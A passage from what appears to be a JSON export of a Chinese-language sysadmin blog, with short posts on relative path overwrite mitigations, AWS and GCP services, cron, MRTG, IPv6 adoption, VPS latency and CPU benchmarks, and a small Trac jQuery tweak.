    "body": "在「<a href=\"https://blog.acolyer.org/2018/05/28/large-scale-analysis-of-style-injection-by-relative-path-overwrite/\">Large-scale analysis of style injection by relative path overwrite</a>」這邊看到的，記得這個方式不是新方法，不過還是有人會中...\r\n\r\n這種攻擊是組合技，基礎是引用 css 或是 js 時使用相對路徑 (像是 <code>static/style.css</code> 這樣的引用法)，再加上 <code>https://www.example.com/a.php</code> 這樣的頁面通常也可以吃 <code>https://www.example.com/a.php/</code>，甚至是後面再加東西... 在某些情境下組不出來，但精心策劃後就有機會在頁面上弄出奇怪的 xss 或是其他攻擊了。而論文內列出了常見的的組合：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Z8Vy99k.jpg\" alt=\"\" />\r\n\r\n然後拿 <a href=\"https://www.alexa.com/\">Alexa</a> 的排名來看，其實還是有些站台可以打：\r\n\r\n<img src=\"https://i.gslin.com/imgur/PbUyaBZ.jpg\" alt=\"\" />\r\n\r\n防禦的方式也不算太難，absolute path 是個還不錯的方式：\r\n\r\n<blockquote>One option is to use only absolute URLs, taking away the relative path expansion.</blockquote>\r\n\r\n而 <code>base</code> tag 也是個方式 (不過在 IE 上還是有問題)：\r\n\r\n<blockquote>Alternatively you can specify a base tag, though Internet Explorer did not appear to implement the tag correctly (i.e., was still vulnerable) at the time of the evaluation.</blockquote>\r\n\r\n另外作者也提到了 document type 的方式 (看起來是建議用 html5 的 <code>&lt;!DOCTYPE html&gt;</code>)，然後 IE 另外做些處理避免失效：\r\n\r\n<blockquote>One of the best mitigations is to avoid exploitation by declaring a modern document type that causes rendering in standards compliant mode. This defeats the attack in all browsers apart from IE. For IE it is also necessary to prevent the page being loaded in a frame by using X-Frame-Options , using X-Content-Type-Options to disable ‘content type sniffing,’ and X-UA-Compatible to turn off IE’s compatibility view.</blockquote>\r\n\r\n不過大型站台本來就因為業務需求，會把 asset domain 切開 (然後透過 CDN 加速)，而且會設計系統讓 programmer 很容易使用這樣的架構，反而因此比較不會用到 relative path，中這個攻擊的機會就低多了...",
    "title": "相對路徑的攻擊方式 (Relative Path Overwite，RPO)"
  },
  {
    "id": "8345",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 其實就是 <a href=\"https://aws.amazon.com/\">AWS</a> 提供的雲端版 <a href=\"https://en.wikipedia.org/wiki/Network_File_System\">NFS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/CIFS\">CIFS</a>，這對於某些應用來說很好用，尤其效能不是主要考量時，像是從外面買來的商用軟體需要找個空間放資料...\r\n\r\n不過沒想到在亞洲第一個開的點居然是首爾 (i.e. <code>ap-northeast-2</code>)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/amazon-elastic-file-system-amazon-efs-available-in-asia-pacific-seoul-region/\">Amazon Elastic File System (Amazon EFS) Available in Asia Pacific (Seoul) Region</a>」。\r\n\r\n提到 AWS 的首爾區，台北過去的直線距離雖然比大阪與東京都近，但各家的路由都是從日本繞過去，不然其實首爾的點應該會是台灣的首選... 不曉得北京與上海到首爾的連線情況又是如何，找機會開台機器測試看看。",
    "title": "Amazon EFS 在首爾先開了..."
  },
  {
    "id": "8346",
    "body": "看到 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈在東京開到第八個點了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/cloudfront-adds-eighth-edge-location-in-tokyo/\">Amazon CloudFront launches eighth Edge location in Tokyo, Japan</a>」。\r\n\r\n<blockquote>Amazon CloudFront announces the addition of an eighth Edge location in Tokyo, Japan. The addition of another Edge location continues to expand CloudFront's capacity in the region, allowing us to serve increased volumes of web traffic.</blockquote>\r\n\r\n這個成長速度有點驚人，一月才加了兩個，現在又要再加一個... 不過大阪還是維持一個。",
    "title": "CloudFront 在東京開到第八個點了..."
  },
  {
    "id": "8347",
    "body": "想用 <code>CRON_TZ</code> 這個變數但發現系統不支援 XD\r\n\r\n找資料的時候發現一堆奇怪的文章，像是說可以在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上用 <code>apt install cronie</code> 這種指令安裝 <a href=\"https://github.com/cronie-crond/cronie\">cronie</a> 的，不知道他到底是用什麼系統... (參考「<a href=\"https://packages.debian.org/search?keywords=cronie\">Debian -- Package Search Results -- cronie</a>」與「<a href=\"https://packages.ubuntu.com/search?keywords=cronie\">Ubuntu – Package Search Results -- cronie</a>」，應該是沒出現過？)\r\n\r\n在 man cron 時可以看到 Ubuntu 還是用 Vixie Cron，而在 <a href=\"https://launchpad.net/\">Launchpad</a> 上可以看到，在 2009 年有人提案想要換成 cronie，但一直都沒有下文：「<a href=\"https://blueprints.launchpad.net/ubuntu/+spec/security-karmic-replace-cron\">Replace (vixie) cron with cronie</a>」，這麼久完全沒動靜，這大概沒救了 XD\r\n\r\n還是乖乖的照 UTC 設吧，只是這樣 Trac 開票的時間好像不太好搞...",
    "title": "Ubuntu 上的 Cron (Vixie Cron 與 Cronie...)"
  },
  {
    "id": "8348",
    "body": "所以除了一般的 EC2 instance 可以設定 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-recover.html\">Auto Recovery</a> 外，實體機的 Dedicated Instance 也可以設定了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/amazon-ec2-auto-recovery-is-now-available-for-dedicated-instances/\">Amazon EC2 Auto Recovery is now available for Dedicated Instances</a>」。\r\n\r\n不過能用架構做 High Availability 還是用架構做會比較好 (像是透過 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 擋在前面提供服務)，Auto Recovery 因為是透過 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 偵測 (目前最短的偵測時間應該是 10 秒一次)，再加上要等新機器接手，還是會有明顯的 downtime。",
    "title": "EC2 的 Dedicated Instance 也支援 Auto Recovery 了..."
  },
  {
    "id": "8349",
    "body": "因為想要做另外一台機器的溫度資料，所以去查了一下有沒有現成的工具可以直接組完...\r\n\r\n首先是在「<a href=\"https://askubuntu.com/questions/15832/how-do-i-get-the-cpu-temperature\">How do I get the CPU temperature?</a>」這邊查到 <a href=\"https://packages.ubuntu.com/search?keywords=lm-sensors\">lm-sensors</a> 這個套件，可以拉出一堆溫度資料 (不只 CPU 的)，然後另外在「<a href=\"https://askubuntu.com/questions/491291/mrtg-using-script-to-grab-data-of-sensors\">MRTG using script to grab data of sensors</a>」這邊有人提到 <a href=\"https://packages.ubuntu.com/search?keywords=mrtgutils-sensors\">mrtgutils-sensors</a> 這個套件，可以直接將 sensors 的輸出結果轉成 <a href=\"https://oss.oetiker.ch/mrtg/\">MRTG</a> 要的值，不需要自己寫 script...\r\n\r\n把做好的東西丟在 <a href=\"https://home.gslin.org/mrtg/\">https://home.gslin.org/mrtg/</a> 這邊，這樣可以觀察機器情況...",
    "title": "用 mrtgutils-sensors 直接產生出 MRTG 用的溫度數字..."
  },
  {
    "id": "8350",
    "body": "<a href=\"https://cabforum.org/\">CA/Browser Forum</a> 會定時將會議記錄與最後的結論公開放在網站上，有時候有些資訊還蠻有趣的。像是前幾天在「<a href=\"https://cabforum.org/2018/05/24/ballot-221-two-factor-authentication-and-password-improvements/\">Ballot 221 - Two-Factor Authentication and Password Improvements - CAB Forum</a>」這邊看到 CA/Browser Forum 的成員對密碼與 2FA 提出了修正提案，其中瀏覽器端只有 <a href=\"https://www.microsoft.com/\">Microsoft</a> 參與投票，但是被否決了...\r\n\r\n不知道否決的原因，但是大概可以猜到幾個點。\r\n\r\n第一個是提案提到了 <a href=\"https://www.nsa.gov/\">NSA</a> 的 <a href=\"https://pages.nist.gov/800-63-3/sp800-63b.html\">NIST 800-63B</a> Appendix A，這個單位不太受歡迎啊...\r\n\r\n第二個則是「For accounts that are accessible only within Secure Zones or High Security Zones, require that passwords have at least twelve (12) characters;」這段強迫使用密碼，而現在有比密碼更安全的方案存在 (以 public key cryptography 為認證基礎的方案)，像是早期的 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 以及今年定案的 <a href=\"https://en.wikipedia.org/wiki/WebAuthn\">WebAuthn</a>。\r\n\r\n應該是這些原因吧...",
    "title": "CA/Browser Forum 上的會議記錄：關於密碼與 2FA 的強制要求"
  },
  {
    "id": "8351",
    "body": "剛剛在「<a href=\"http://www.osnews.com/story/30440/How_to_Android_without_Google\">How to Android without Google</a>」這邊的文章裡看到「<a href=\"https://bytemybits.gitlab.io/post/2018-05-23-how-to-android-without-google-easy-way/\">How to Android without Google [easy way]</a>」這篇指南，說明如何弄出一個沒有 <a href=\"https://www.google.com/\">Google</a> 專屬套件的 <a href=\"https://www.android.com/\">Android</a> 環境。\r\n\r\n主要是 <a href=\"https://lineageos.org/\">LineageOS</a> 當作底層基礎 (作業系統)，然後用 <a href=\"https://microg.org/\">microG</a> 提供 API 相容層，並且用 <a href=\"https://f-droid.org/\">F-Droid</a> 安裝 Open Source 軟體。\r\n\r\n裡面有兩個方案以前沒看過，一個是 <a href=\"http://repo.xposed.info/\">XPosedFramework</a>，提供框架讓使用者有更強的控制力，更完整的說明可以參考「<a href=\"https://www.android-apk.com/2013/10/xposed-framework-app-settings-%E7%82%BA%E6%AF%8F%E5%80%8B-app-%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%90%8C%E7%9A%84%E9%81%8B%E8%A1%8C%E6%A8%A1%E5%BC%8F/\">Xposed Framework + App Settings 為每個 App 設定不同的運行模式</a>」這篇。\r\n\r\n另外一個是 <a href=\"https://github.com/yeriomin/YalpStore\">Yalp Store</a>，當軟體只在 <a href=\"https://play.google.com/\">Google Play</a> 平台上提供安裝的時候，就需要透過這個套件了 XD",
    "title": "沒有 Google 專屬套件的 Android"
  },
  {
    "id": "8354",
    "body": "<a href=\"https://www.microsoft.com/\">Microsoft</a> 與 <a href=\"https://github.com/\">GitHub</a> 兩邊的新聞稿都出來了：「<a href=\"https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/\">Microsoft to acquire GitHub for $7.5 billion</a>」、「<a href=\"https://blog.github.com/2018-06-04-github-microsoft/\">A bright future for GitHub</a>」。\r\n\r\n隔壁棚 <a href=\"https://gitlab.com\">GitLab</a> 在前幾天有消息時就先恭賀了 (畢竟同個業界的，可以驗證消息的來源比我們多)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Congratulations, <a href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github</a>! ?  <a href=\"https://t.co/xxxQYSBAW8\">https://t.co/xxxQYSBAW8</a></p>&mdash; GitLab (@gitlab) <a href=\"https://twitter.com/gitlab/status/1003424041959600129?ref_src=twsrc%5Etfw\">June 3, 2018</a></blockquote>\r\n\r\n另外也馬上就提供 migration 促銷：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">People are <a href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab</a>. New users can get 75% off on Gold or Ultimate for one year. <a href=\"https://t.co/HGB8tVWhW6\">https://t.co/HGB8tVWhW6</a></p>&mdash; GitLab (@gitlab) <a href=\"https://twitter.com/gitlab/status/1003514208124743680?ref_src=twsrc%5Etfw\">June 4, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後從 GitLab 的 <a href=\"https://monitor.gitlab.net/dashboard/db/github-importer\">GitHub Importer (Grafana)</a> 上面也可以看到湧入大量的 GitHub 使用者 (這個站的流量太大，圖表有時候會出不來)，可以看出不少人搬家... 不過我覺得這只是搬到另外一個坑啊。\r\n\r\n我是比較正面看待這件事情... Microsoft 遲早會搞爛 GitHub，然後 <a href=\"https://git-scm.com/\">Git</a> 逐漸回歸分散式的本質，而不是現在 GitHub 這樣高度集中。",
    "title": "所以雙方都公開承認 Microsoft 併購 GitHub 了..."
  },
  {
    "id": "8355",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的文件「<a href=\"https://www.percona.com/doc/percona-server/LATEST/installation/apt_repo.html\">Installing Percona Server on Debian and Ubuntu</a>」這邊雖然還沒列 <a href=\"http://releases.ubuntu.com/18.04/\">Ubuntu 18.04</a> 上去，但已經有東西在裡面可以安裝了。不過還是屬於官方未正式支援的情況，用的時候自己要注意。\r\n\r\n另外查資料的時候有看到「<a href=\"https://www.percona.com/forums/questions-discussions/percona-xtradb-cluster/51524-ubuntu-18-04-bionic-percona-xtradb-cluster-server-installation-break\">Ubuntu 18.04 (bionic) - percona-xtradb-cluster-server installation break</a>」這篇提到 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 裝不起來，但有 workaround 可以硬裝進去，要玩的人也可以參考一下 XD\r\n\r\n這樣可以把 14.04 機器換一換了。(先前清點時本來以為已經是 16.04，做一些操作時才發現是 14.04...)",
    "title": "在 Ubuntu 18.04 (Bionic) 上跑 Percona Server 5.7"
  },
  {
    "id": "8356",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 對 M5 instance 推出了帶 NVMe SSD 的版本：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-update-m5-instances-with-local-nvme-storage-m5d/\">EC2 Instance Update – M5 Instances with Local NVMe Storage (M5d)</a>」。先推出歐美的區域：\r\n\r\n<blockquote>M5d instances are available in On-Demand, Reserved Instance, and Spot form in the US East (N. Virginia), US West (Oregon), EU (Ireland), US East (Ohio), and Canada (Central) Regions. Prices vary by Region, and are just a bit higher than for the equivalent M5 instances.</blockquote>\r\n\r\n算是 M3 系列的後繼產品？對應到四年前推出的 <code>m3.medium</code> 是 1 vCPU、3.75GB RAM 以及 8GB SSD (不過 <code>m3.large</code> 就變成 2 vCPU、7.5GB RAM 與 32GB SSD，硬碟的部份多了不少)。\r\n\r\n這樣 M5 就更全面了...",
    "title": "Amazon EC2 補產品線：M5 也有 NVMe 的 SSD local disk 可以用了"
  },
  {
    "id": "8358",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈 DNS Resolver 提供 <a href=\"https://www.torproject.org/\">Tor</a> 的版本，讓使用者可以在不暴露自己的 IP address 的情況下，使用 Cloudflare 提供的 DNS Resolver 服務：「<a href=\"https://blog.cloudflare.com/welcome-hidden-resolver/\">Introducing DNS Resolver for Tor</a>」。\r\n\r\n不過沒看懂，如果使用者想要透過 Tor 保護自己的話，本來就可以透過 Tor 存取 <code>1.1.1.1</code> 與 <code>1.0.0.1</code> 甚至是其他家有提供 DNS-over-TLS 或是 DNS-over-HTTPS 的服務了？(像是 <a href=\"https://www.google.com/\">Google</a> 的 <code>8.8.8.8</code>)\r\n\r\n好像找不到什麼使用的理由...",
    "title": "Cloudflare 提供的 DNS Resolver 服務拓展到 Tor 上"
  },
  {
    "id": "8362",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 是在六年前啟用了 IPv6 服務，然後分析了現在各地區 IPv6 使用的情況：「<a href=\"https://code.facebook.com/posts/635039943508824/how-ipv6-deployment-is-growing-in-u-s-and-other-countries/\">How IPv6 deployment is growing in U.S. and other countries</a>」，另外提供了統計系統的資料給大家查 (不過看起來只有二月以後的？)：「<a href=\"https://www.facebook.com/ipv6/\">Facebook IPv6</a>」。\r\n\r\n然後被提到台灣區的成長在這幾個月很快速，主要原因是中華電信的導入：\r\n\r\n<blockquote>We are also seeing countries and regions with less mature internet infrastructure start to transition to IPv6. Although overall deployment is still low, recent growth in some places has been exponential. Taiwan, for example, has gone from less than 1 percent in February 2018 to more than 10 percent as of May 28, 2018. Taiwan's rapid growth directly corresponds to recent IPv6 initiatives by Chunghwa, Taiwan's largest ISP.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yfj2OvD.webp\" /><img src=\"https://i.gslin.com/imgur/yfj2OvD.jpg\" alt=\"\" /></picture>\r\n\r\n先前在 <a href=\"https://twitter.com/\">Twitter</a> 上有提到中華在 <a href=\"https://www.ipv6.hinet.net/\">www.ipv6.hinet.net</a> 網站上的跑馬燈有公告關於 IPv6 的導入，所以到這個月月底，使用比率應該都還會有明顯的提昇：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">在 <a href=\"https://t.co/bK8ZATMeYm\">https://t.co/bK8ZATMeYm</a> 看到：「HiNet光世代非固定制全面啟動雙IP(IPv4/IPv6)服務，新客戶申請時即提供雙IP，老客戶將陸續改設雙IP，預定6月系統全部設定完成。」</p>&mdash; Gea-Suan Lin (@gslin) <a href=\"https://twitter.com/gslin/status/995465663576592384?ref_src=twsrc%5Etfw\">May 13, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n因為 Windows 7 以上的系統直接 PPPoE 的應該都會拿到 IPv6 address，但如果是 IP 分享器的就不一定支援了，不然應該會更高...\r\n\r\n另外行動網路的部份也陸陸續續在轉移了，像我的 blog 上可以看到有 <code>emome-ip6.hinet.net</code> 的訪客，而且 <a href=\"https://www.google.com/\">Google</a> 搜尋也可以看到一些資訊了：「<a href=\"https://www.google.com/search?q=%22emome-ip6.hinet.net%22\">\"emome-ip6.hinet.net\" - Google 搜尋</a>」。",
    "title": "Facebook 觀察 IPv6 的使用情況"
  },
  {
    "id": "8365",
    "body": "<a href=\"https://trac.edgewall.org/\">Trac</a> 關票時一般都是由開票的人關 (i.e. Reporter)，今天遇到的情況是這樣，在關票時的畫面上你會不知道是誰開的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UsutQDb.webp\" /><img src=\"https://i.gslin.com/imgur/UsutQDb.jpg\" alt=\"\" /></picture>\r\n\r\n只要往上一點拉就會看到 Reporter 資訊 XD 這通常會發生在螢幕沒打直的人，直接拉到最下方的情況 XD\r\n\r\n試著用 CSS 的 <code>position: sticky</code> 但抓不太到要的效果，決定還是開 <a href=\"https://jquery.com/\">jQuery</a> 下去解決 XD\r\n\r\n<pre>        // Copy reporter information to action section\r\n        if ($('#action_resolve_resolve_resolution').length &gt; 0) {\r\n            var reporter = $('#h_reporter').parent().find('.trac-author, .trac-author-user')[0].outerHTML;\r\n\r\n            $('#action_resolve_resolve_resolution').each(function(){\r\n                $(this).parent().append('&lt;span class=\"hint\"&gt;(This ticket is created by ' + reporter + ')</span>');\r\n            });\r\n        }</pre>\r\n\r\n當下寫得很隨性，之後也許會再改... (會更新到「<a href=\"https://wiki.gslin.org/wiki/Trac\">Trac - Gea-Suan Lin's Wiki</a>」這邊)",
    "title": "Trac 關票時的資訊..."
  },
  {
    "id": "8366",
    "body": "先說結論，綜合網路與 CPU 的情況，我剛好跟下面提到的文章給出相反的選擇 (i.e. 完全不會選 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a>)。如果是需要 latency 低的品質我會選 <a href=\"https://www.linode.com/\">Linode</a> 的東京新機房 Tokyo 2，如果不需要 latency 的我會選 <a href=\"https://www.vultr.com/\">Vultr</a> 的 USD$2.5/month 方案 (目前只在邁阿密與紐約有)。\r\n\r\n看到「<a href=\"https://data.leafwind.tw/2018-taiwan-vps-ping-test-of-digitalocean-vultr-linode-46150eae2ebb\">2018/06 台灣 5USD 虛擬主機網路延遲測試</a>」這篇就來推廣一下 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 這個工具。這個工具可以做很多事情，但最常看到的用途還是做網路品質監控，先前在 K 社的時候就有個做個公開的站台可以看，後來接手的人也繼續維護著 (畢竟看這些圖有種治癒感？)：「<a href=\"https://smokeping.kkbox.com.tw/\">smokeping.kkbox.com.tw</a>」。\r\n\r\n不過 K 社的 SmokePing 裡面大多數是從固網機房端監控，而固網機房端的 Internet 品質一般來說都會比家用型的好很多，尤其是國際頻寬的部份。所以我也在我家裡用 PPPoE 版本的固定 IP 做了一份：「<a href=\"https://home.gslin.org/smokeping/\">https://home.gslin.org/smokeping/</a>」，這邊的設定檔放在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/gslin/smokeping-config.d\">gslin/smokeping-config.d</a> 上。\r\n\r\n而我剛好有把這三家 VPS 的 SmokePing 都做起來：「<a href=\"https://home.gslin.org/smokeping/?target=Hosting.DigitalOcean\">SmokePing Latency Page for DigitalOcean</a>」、「<a href=\"https://home.gslin.org/smokeping/?target=Hosting.Linode\">SmokePing Latency Page for Linode</a>」、「<a href=\"https://home.gslin.org/smokeping/?target=Hosting.Vultr\">SmokePing Latency Page for Vultr</a>」。\r\n\r\n我這邊看到的情況是這樣。以各家離台灣最近的點來看：\r\n\r\n<ul>\r\n\t<li>第一張圖的 DigitalOcean 沒有東京的點，而新加坡的 latency 在這幾個月其實變差不少，現在大約要 90ms (扣掉光世代的 10ms)。</li>\r\n\t<li>第二跟第三張圖的 Linode (分別是 Tokyo 1 與 Tokyo 2) 其實可以看到新機房 Tokyo 2 的 latency 比舊機房 Tokyo 1 還好。</li>\r\n\t<li>第四張圖的 Vultr 則是狀況變化很多，但不管怎麼走，latency 大致上都還是比新加坡好。</li>\r\n</ul>\r\n\r\n另外第五張的 Vultr 則是紐約的點，latency 超高 (畢竟繞了半個地球)，但 packet loss 不高，品質還算穩定。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xLUtPbz.webp\" /><img src=\"https://i.gslin.com/imgur/xLUtPbz.jpg\" alt=\"\" /></picture>\r\n<small>speedtest-sgp1.digitalocean.com (DigitalOcean Singapore 1)</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0ZPEtcX.webp\" /><img src=\"https://i.gslin.com/imgur/0ZPEtcX.jpg\" alt=\"\" /></picture>\r\n<small>speedtest.tokyo.linode.com (Linode Tokyo)</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qT0nRxq.webp\" /><img src=\"https://i.gslin.com/imgur/qT0nRxq.jpg\" alt=\"\" /></picture>\r\n<small>speedtest.tokyo2.linode.com (Linode Tokyo 2)</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zLVmwMy.webp\" /><img src=\"https://i.gslin.com/imgur/zLVmwMy.jpg\" alt=\"\" /></picture>\r\n<small>hnd-jp-ping.vultr.com</small>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y4yGYjo.webp\" /><img src=\"https://i.gslin.com/imgur/Y4yGYjo.jpg\" alt=\"\" /></picture>\r\n<small>nj-us-ping.vultr.com</small>\r\n\r\n另外是之前有痛到的部份，先前因為需求而需要在 PHP 5.6 上跑 <a href=\"https://wordpress.org/\">WordPress</a>，真的實際跑起來後發現超慢 (畢竟這兩個要快得想不少辦法)，去找問題後發現 DigitalOcean 機器的 CPU 真的太慢，後來把這組需求搬去 Linode (在 CPU 與網路之間取個合理的平衡點)。\r\n\r\n在各家 VPS 上用 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 跑 <code>openssl speed md5</code> 可以看出一些資料：\r\n\r\nDigitalOcean：\r\n<pre>Doing md5 for 3s on 16 size blocks: 5465798 md5's in 3.00s\r\nDoing md5 for 3s on 64 size blocks: 3761125 md5's in 3.00s\r\nDoing md5 for 3s on 256 size blocks: 1835218 md5's in 2.99s\r\nDoing md5 for 3s on 1024 size blocks: 582162 md5's in 2.96s\r\nDoing md5 for 3s on 8192 size blocks: 102995 md5's in 2.97s\r\nDoing md5 for 3s on 16384 size blocks: 47177 md5's in 2.99s</pre>\r\n\r\nLinode：\r\n<pre>Doing md5 for 3s on 16 size blocks: 11510700 md5's in 3.00s\r\nDoing md5 for 3s on 64 size blocks: 8361353 md5's in 2.99s\r\nDoing md5 for 3s on 256 size blocks: 3751929 md5's in 3.00s\r\nDoing md5 for 3s on 1024 size blocks: 1169457 md5's in 3.00s\r\nDoing md5 for 3s on 8192 size blocks: 157678 md5's in 2.99s\r\nDoing md5 for 3s on 16384 size blocks: 78874 md5's in 3.00s</pre>\r\n\r\nVultr (這是 USD$2.5/month 的方案)：\r\n<pre>Doing md5 for 3s on 16 size blocks: 14929209 md5's in 2.97s\r\nDoing md5 for 3s on 64 size blocks: 9479563 md5's in 2.97s\r\nDoing md5 for 3s on 256 size blocks: 4237907 md5's in 2.98s\r\nDoing md5 for 3s on 1024 size blocks: 1320548 md5's in 2.98s\r\nDoing md5 for 3s on 8192 size blocks: 161940 md5's in 2.96s\r\nDoing md5 for 3s on 16384 size blocks: 86592 md5's in 2.98s</pre>\r\n\r\n然後補一個 AWS 的 <code>t2.nano</code> (在還有 CPU credit 可以全速跑的情況下)，不過這不公平，參考用而已：\r\n<pre>Doing md5 for 3s on 16 size blocks: 19257426 md5's in 3.00s\r\nDoing md5 for 3s on 64 size blocks: 11168752 md5's in 2.99s\r\nDoing md5 for 3s on 256 size blocks: 4959879 md5's in 3.00s\r\nDoing md5 for 3s on 1024 size blocks: 1518690 md5's in 3.00s\r\nDoing md5 for 3s on 8192 size blocks: 203910 md5's in 3.00s\r\nDoing md5 for 3s on 16384 size blocks: 102321 md5's in 2.99s</pre>",
    "title": "HiNet 與 DigitalOcean、Linode、Vultr 的封包情況"
  },
  {
    "id": "8368",
    "body": "最近在弄 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 <code>perforemance_schema</code>，開起來後發現效能影響沒有很大，跟印象中不太一樣... 找了一下文章發現 <a href=\"https://www.percona.com/\">Percona</a> 在 2017 年年初時有針對效能測試過：「<a href=\"https://www.percona.com/blog/2017/01/26/performance-schema-benchmarks-oltp-rw/\">Performance Schema Benchmarks: OLTP RW</a>」。重點在這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c5kOBf8.webp\" /><img src=\"https://i.gslin.com/imgur/c5kOBf8.jpg\" alt=\"\" /></picture>\r\n\r\n圖上可以看到 Default 其實對效能的影響有限，另外文章也整理出來，有哪些設定對效能影響不會太大，可以考慮平常就開著：\r\n\r\n<blockquote>Using Performance Schema with the default options, Memory, Metadata Locks and Statements instrumentation doesn’t have a great impact on read-write workload performance. You might notice slowdowns with Stages instrumentation after reaching 32 actively running parallel connections. The real performance killer is Waits instrumentation. And even with it on, you will start to notice a performance drop only after 10,000 transactions per second.</blockquote>",
    "title": "MySQL 裡 performance_schema 對效能的影響"
  },
  {
    "id": "8370",
    "body": "先前提到 <a href=\"https://aws.amazon.com/\">AWS</a> 大阪區的消息 (「<a href=\"https://blog.gslin.org/archives/2018/02/24/8168/aws-%E5%A4%A7%E9%98%AA%E5%8D%80/\">AWS 大阪區</a>」)，剛剛想看看進度，翻資料的時候才發現要另外申請：「<a href=\"https://aws.amazon.com/jp/blogs/news/osaka-local-region-launch-2018feb/\">【 AWS 新リージョン】 AWS 大阪ローカルリージョンが本日より利用可能になりました</a>」。\r\n\r\n<blockquote>なお、 AWS 大阪ローカルリージョンをご利用いただくためには、申し込みおよび審査が必要です。</blockquote>\r\n\r\n好吧 XDDD",
    "title": "AWS 大阪區需要另外申請..."
  },
  {
    "id": "8372",
    "body": "這幾天在弄備援跳板機，不想弄在日本 (latency)，所以就想到 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> (GCP) 在台灣有機房，而 <a href=\"https://cloud.google.com/compute/\">Compute Engine</a> 有 <code>f1-micro</code>，類似 <a href=\"https://aws.amazon.com/\">AWS</a> 裡 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 提供的 <code>t2.nano</code> 的機器。而這兩天玩了玩，大概有些事情值得記錄起來。\r\n\r\nCPU 相關的部份：\r\n\r\n<ul>\r\n\t<li>EC2 的 <code>t2</code> 系列可以透過 API 或是在 web console 看到 CPU credit 剩下多少，GCE 沒找到在哪邊可以看。</li>\r\n\t<li>EC2 的 <code>t2</code> 系列在 CPU credit 用完後是變慢運行，除非你打開 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/t2-unlimited.html\">T2 Unlimited</a> 同意 AWS 多收錢。而 GCE 的則是沒得選，相當於一定要開 T2 Unlimited。</li>\r\n\t<li>GCE 的 <code>f1-micro</code> 是 0.2 vCPU，但我在上面跑 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 18.04，平常沒事就已經是 15% 左右。這數字比預期的高不少，還在找是什麼原因...</li>\r\n</ul>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Yxtz6M2.webp\" /><img src=\"https://i.gslin.com/imgur/Yxtz6M2.jpg\" alt=\"\" /></picture>\r\n\r\n網路相關的部份：\r\n\r\n<ul>\r\n\t<li>因為要用台灣的機房，網路的部份只有 Premium 等級可以選 (Standard 等級目前只在美國有)，也就是會先走 Google 佈建的網路再出去，所以流出的費用會隨著 destination 地區而有差異 (i.e. 封包送到美國與送到中國是不同計價)。</li>\r\n\t<li>但 Premium 等級實測品質真的很不一樣，到香港居然在 15ms 以下，以前在固網機房內沒看過這個數字...</li>\r\n</ul>\r\n\r\n其他的部份：\r\n\r\n<ul>\r\n\t<li>硬碟空間方面，Standard provisioned space 比 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 <code>gp2</code> 便宜不少<del>，而且還包括了 i/o 費用 (AWS 會另外收費)</del>。</li>\r\n\t<li>連續使用就會有 discount 了，也可以 commit 買一年或是三年取得更深的 discount。而 AWS 則是得買 Reserved Instance 拿到 discount。</li>\r\n</ul>\r\n\r\n來看看一個月會有多少帳單產生吧...",
    "title": "GCP 的 f1-micro 的使用心得..."
  },
  {
    "id": "8373",
